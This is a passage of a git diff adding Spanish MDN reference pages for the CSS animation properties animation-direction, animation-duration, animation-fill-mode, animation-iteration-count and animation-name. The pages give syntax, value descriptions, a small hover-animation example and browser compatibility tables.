+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }} {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>12{{ property_prefix("-o") }}<br>
+    12.5 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>4.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }} {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>12{{ property_prefix("-o") }}</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Consulte_también">Consulte también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations" title="en/CSS/CSS_animations">Usando animaciones CSS</a></li>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+</ul>
diff --git a/files/es/web/css/animation-direction/index.html b/files/es/web/css/animation-direction/index.html
new file mode 100644
index 0000000000..cdc0973157
--- /dev/null
+++ b/files/es/web/css/animation-direction/index.html
@@ -0,0 +1,167 @@
+---
+title: animation-direction
+slug: Web/CSS/animation-direction
+tags:
+  - CSS
+  - CSS Animations
+  - CSS Property
+  - Experemiental
+  - Reference
+translation_of: Web/CSS/animation-direction
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>animation-direction</code> indica si la animación debe retroceder hasta el fotograma de inicio al finalizar la secuencia o si debe comenzar desde el principio al llegar al final.</p>
+
+<p>Es conveniente usar la propiedad abreviada {{ cssxref("animation") }} para ajustar todas las propiedades de animación una sola vez.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox">Gramática formal: [ normal | reverse | alternate | alternate-reverse ] [, [ normal | reverse | alternate | alternate-reverse ] ]*
+</pre>
+
+<pre>animation-direction: normal
+animation-direction: reverse
+animation-direction: alternate
+animation-direction: alternate-reverse
+animation-direction: normal, reverse
+animation-direction: alternate, reverse, normal
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Cada vez que termina un ciclo, la animación se reinicia al estado inicial y comienza desde el principio. Este es el comportamiento por defecto.</dd>
+ <dt><code>alternate</code></dt>
+ <dd>La animación, al terminar un ciclo, invierte su dirección. Es decir, los pasos de la animación se ejecutan al revés. Además, las funciones de tiempo también se invierten; por ejemplo una animación <code>ease-in</code> se convierte en una animación con <code>ease-out</code> cuando se reproduce al revés. El contador que determina si la iteración es par o impar comienza en uno.</dd>
+ <dt><code>reverse</code></dt>
+ <dd>Cada ciclo de la animación se reproduce al revés . Cada vez que comienza un ciclo de animación, ésta se posiciona en el estado final y comienza desde ahí.</dd>
+ <dt><code>alternate-reverse</code></dt>
+ <dd>Es similar a<code> alternate</code> pero la animación se reproduce al revés. Es decir la animación se posiciona en el estado final, comienza a reproducirse al reves y, cuando llega al inicio vuelve a reproducirse de forma normal hasta llegar al final de la secuencia. Y vuelve otra vez a repetirse. El contador que determina si la iteración es par o impar comienza en uno.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Visitar <a href="/es/CSS/Usando_animaciones_CSS" title="en/CSS/CSS_animations">animaciones CSS</a> para ver algunos ejemplos.</p>
+
+<p>Especificaciones</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#animation-direction', 'animation-direction') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>For the two new values, see the <a class="external" href="http://lists.w3.org/Archives/Public/www-style/2011May/0090.html">W3C discussion</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad entre navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>12{{ property_prefix("-o") }}<br>
+    12.5 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>4.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td><code>reverse</code></td>
+   <td>19 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>alternate-reverse</code></td>
+   <td>19 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>reverse</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>alternate-reverse</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Consulte_también">Consulte también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations">Usando animaciones CSS</a></li>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+</ul>
diff --git a/files/es/web/css/animation-duration/index.html b/files/es/web/css/animation-duration/index.html
new file mode 100644
index 0000000000..40f9fa5382
--- /dev/null
+++ b/files/es/web/css/animation-duration/index.html
@@ -0,0 +1,127 @@
+---
+title: animation-duration
+slug: Web/CSS/animation-duration
+tags:
+  - CSS
+  - CSS Animations
+  - CSS Property
+  - Experimental
+  - Reference
+translation_of: Web/CSS/animation-duration
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>animation-duration</code> indica la cantidad de tiempo que la animación tarda en completar un ciclo (duración).</p>
+
+<p>El valor por defecto es <code>0s</code>, que indica que la animación no debe producirse.</p>
+
+<p>Es conveniente usar la propiedad abreviada {{ cssxref("animation") }} para ajustar todas las propiedades de animación a la vez</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="/en-US/docs/CSS/Value_definition_syntax">Gramatica formal</a>: {{csssyntax("animation-duration")}}
+</pre>
+
+<pre>animation-duration: 6s
+animation-duration: 120ms
+animation-duration: 1s, 15s
+animation-duration: 10s, 30s, 230ms
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>El tiempo que tarda la animación en terminar su secuencia. Podemos especificarlo en segundos (usando <code>s</code>) o milisegundos (usando <code>ms</code>). Si no especificamos la unidad, la sentencia no será válida.</dd>
+</dl>
+
+<div class="note"><strong>Nota:</strong> No acepta valores negativos, si los ponemos la sentencia se ignorará. Algunas implementaciones antiguas (con prefijos) pueden considerar los valores negativos como si fueran <code>0s</code>.</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Visitar <a href="/es/CSS/Usando_animaciones_CSS" title="en/CSS/CSS_animations">CSS animations</a> para ver algunos ejemplos.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#animation-duration', 'animation-duration') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad entre navegadores</h2>
+
+<p style="">{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table" style="height: 197px; width: 921px;">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>12{{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>4.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.0{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.2{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Consultar_también">Consultar también</h2>
+
+<ul>
+ <li><a href="/es/docs/CSS/Usando_animaciones_CSS" title="Tutorial about CSS animations">Usando animaciones CSS</a></li>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+</ul>
diff --git a/files/es/web/css/animation-fill-mode/index.html b/files/es/web/css/animation-fill-mode/index.html
new file mode 100644
index 0000000000..1c1f251d22
--- /dev/null
+++ b/files/es/web/css/animation-fill-mode/index.html
@@ -0,0 +1,233 @@
+---
+title: animation-fill-mode
+slug: Web/CSS/animation-fill-mode
+tags:
+  - CSS
+  - CSS Animations
+  - CSS Property
+  - Experimental
+  - Reference
+translation_of: Web/CSS/animation-fill-mode
+---
+<div>{{ CSSRef() }}</div>
+
+<div>{{ SeeCompatTable() }}</div>
+
+<h2 id="Definición">Definición</h2>
+
+<p>La propiedad <a href="/en/CSS" title="CSS">CSS</a> <code>animation-fill-mode</code> especifica el modo en que una animación CSS aplica sus estilos, estableciendo su persistencia y estado final tras su ejecución.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="/en-US/docs/CSS/Value_definition_syntax">Formal syntax</a>: {{csssyntax("animation-fill-mode")}}
+</pre>
+
+<pre>animation-fill-mode: none
+animation-fill-mode: forwards
+animation-fill-mode: backwards
+animation-fill-mode: both
+
+<strong>El caracter # indica que pueden darse varios valores separados por comas.
+Cada uno de los valores se aplicará en el mismo orden en que se ha declarado en la propiedad 'animation'</strong>
+animation-fill-mode: none, backwards
+animation-fill-mode: both, forwards, none
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>La animación no aplicará los estilos antes ni después de su ejecución.</dd>
+ <dt><code>forwards</code></dt>
+ <dd>El objeto sobre el que se aplica la animación quedará con los valores y estilos que le aplique el último keyframe de la ejecución de la animación. El último valor dependerá del valor de {{ cssxref("animation-direction") }} y {{ cssxref("animation-iteration-count") }}:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col"><code>animation-direction</code></th>
+    <th scope="col"><code>animation-iteration-count</code></th>
+    <th scope="col">ultimo keyframe encontrado</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>normal</code></td>
+    <td>even o odd</td>
+    <td><code>100%</code> or <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>reverse</code></td>
+    <td>even o odd</td>
+    <td><code>0%</code> or <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate</code></td>
+    <td>even</td>
+    <td><code>0%</code> or <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate</code></td>
+    <td>odd</td>
+    <td><code>100%</code> or <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate-reverse</code></td>
+    <td>even</td>
+    <td><code>100%</code> or <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate-reverse</code></td>
+    <td>odd</td>
+    <td><code>0%</code> or <code>from</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>backwards</code></dt>
+ <dd>La animación aplicará los valores definidos en el primer <a href="/en-US/docs/CSS/@keyframes">keyframe</a> tan pronto como se aplique al objeto, y los retendrá durante el tiempo de {{ cssxref("animation-delay") }}. El primer keyframe dependerá del valor de {{ cssxref("animation-direction") }}:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col"><code>animation-direction</code></th>
+    <th scope="col">primer keyframe</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>normal</code> o <code>alternate</code></td>
+    <td><code>0%</code> or <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>reverse</code> o <code>alternate-reverse</code></td>
+    <td><code>100%</code> or <code>to</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>both</code></dt>
+ <dd>La animación seguirá las reglas de las opciones forwards y backwards, extendiendo las propiedades de la animación en ambas direcciones.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Ejemplos</h2>
+
+<p>Puedes ver el efecto de animation-fill-mode en el siguiente ejemplo.  Para animaciones que iteran de forma infinita, puede que quieras que al final de cada iteración queden en su estado final mejor que en el estado inicial. </p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Mueve el raton sobre la caja gris&lt;/p&gt;
+&lt;div class="demo"&gt;
+  &lt;div class="grows"&gt;Esto sólo crece&lt;/div&gt;
+  &lt;div class="growsandstays"&gt;Esto crece y se queda grande&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.demo {
+  border-top: 100px solid #ccc;
+  height: 300px;
+  font-family: sans-serif;
+}
+@keyframes grow {
+    0% { font-size: 0 }
+    100% { font-size: 40px }
+}
+@-webkit-keyframes grow {
+    0% { font-size: 0 }
+    100% { font-size: 40px }
+}
+.demo:hover .grows {
+    animation-name: grow;
+    animation-duration: 3s;
+    -webkit-animation-name: grow;
+    -webkit-animation-duration: 3s;
+}
+.demo:hover .growsandstays {
+    animation-name: grow;
+    animation-duration: 3s;
+    animation-fill-mode: forwards;
+    -webkit-animation-name: grow;
+    -webkit-animation-duration: 3s;
+    -webkit-animation-fill-mode: forwards;
+}</pre>
+
+<p>{{ EmbedLiveSample('Example',700,300) }}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#animation-fill-mode', 'animation-fill-mode') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad entre navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>12{{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>4.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Tutorials/Using_CSS_animations" title="Tutorial about CSS animations">Usando CSS Animations</a></li>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+</ul>
diff --git a/files/es/web/css/animation-iteration-count/index.html b/files/es/web/css/animation-iteration-count/index.html
new file mode 100644
index 0000000000..da5a5792ba
--- /dev/null
+++ b/files/es/web/css/animation-iteration-count/index.html
@@ -0,0 +1,126 @@
+---
+title: animation-iteration-count
+slug: Web/CSS/animation-iteration-count
+tags:
+  - CSS
+  - CSS Animations
+  - CSS Property
+  - Experimental
+  - Reference
+translation_of: Web/CSS/animation-iteration-count
+---
+<div>{{ CSSRef() }}</div>
+
+<div>{{ SeeCompatTable() }}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en/CSS" title="CSS">CSS</a> <code style="font-style: normal;">animation-iteration-count</code> define el numero de veces que un ciclo de animación debe ser ejecutado antes de detenerse.</p>
+
+<p>A menudo es conveniente utilizar la propiedad {{ cssxref("animation") }} para ajustar todas las propiedades de animación a la vez.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox">Sintaxis formal: {{csssyntax("animation-iteration-count")}}
+</pre>
+
+<pre>animation-iteration-count: infinite;
+animation-iteration-count: 3;
+animation-iteration-count: 2.3;
+
+animation-iteration-count: 2, 0, infinite;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>infinite</code></dt>
+ <dd>La animación se repetirá siempre.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>El número de veces que la animación debe repetir: es 1 por defecto. Los valores negativos no son validos. Puede especificar valores no enteros para ejecutar parte de un ciclo de animación (por ejemplo 0.5 se ejecutara la mitad del ciclo de la animación).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ver ejemplos <a href="/en-US/docs/CSS/Using_CSS_animations">CSS animations</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#animation-iteration-count', 'animation-iteration-count') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10 </td>
+   <td>12 {{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>4.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristicas</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Tutorials/Using_CSS_animations" title="Tutorial about CSS animations">Usando animaciones CSS</a></li>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+</ul>
diff --git a/files/es/web/css/animation-name/index.html b/files/es/web/css/animation-name/index.html
new file mode 100644
index 0000000000..c74f2cc301
--- /dev/null
+++ b/files/es/web/css/animation-name/index.html
@@ -0,0 +1,134 @@
+---
+title: animation-name
+slug: Web/CSS/animation-name
+tags:
+  - CSS
+  - CSS Animations
+  - CSS Property
+  - Experimental
+  - Reference
+translation_of: Web/CSS/animation-name
+---
+<div>{{CSSRef}}</div>
+
+<div>{{SeeCompatTable}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a> <span style="font-family: consolas,monaco,andale mono,monospace;">animation-name especifica una lista de animaciones que se deben aplicar al elemento seleccionado. Cada nombre indica un</span> {{cssxref("@keyframes")}} esta regla define los valores de las propiedades de la secuencia de animación.</p>
+
+<p>A menudo es conveniente utilizar la propiedad abrevieda {{cssxref("animation")}} para ajustar todas las propiedades de animación a la vez.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Sintaxis formal</a>: {{csssyntax("animation-name")}}</pre>
+
+<pre>animation-name: none;
+animation-name: test_05;
+animation-name: -specific;
+animation-name: sliding-vertically;
+
+animation-name: test1;
+animation-name: test1, animation4;
+animation-name: none, -moz-specific, sliding;
+
+animation-name: <a href="/en-US/docs/Web/CSS/initial">initial</a>;
+animation-name: <a href="/en-US/docs/Web/CSS/inherit">inherit</a>;
+animation-name: <a href="/en-US/docs/Web/CSS/unset">unset</a>;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p><code>&lt;single-animation-name&gt;</code> es una de las siguientes palabras clave:</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Es una palabra clave especial que denota que no hay fotogramas (keyframes) clave. Se puede utilizar para desactivar una animación sin cambiar el orden de los otros identificadores, o para desactivar animaciones procedentes de las cascada.</dd>
+ <dt>{{cssxref("custom-ident","&lt;custom-ident&gt;")}}</dt>
+ <dd>Cadena que identifica la animación. Este identificador está compuesto por una combinación de letras mayúsculas y minúsculas de la "A"a la "Z", números del 0 al 9, guiones bajos "_" y/o guiones "-". el primer caracter siempre debe ser una letra, ni un numero, excepto un guión (no se pueden poner dos guiones seguidos o más al principio del nombre.) No puede usarse <code style="font-style: normal;">none</code>, <code style="font-style: normal;">unset</code>, <code style="font-style: normal;">initial</code>, o <code style="font-style: normal;">inherit</code> ni ninguna combinación de estos casos.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ver ejemplos <a href="/en-US/docs/CSS/CSS_animations" title="CSS/CSS_animations">CSS animations</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-name', 'animation-name')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10 </td>
+   <td>12 {{property_prefix("-o")}}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}</td>
+   <td>10</td>
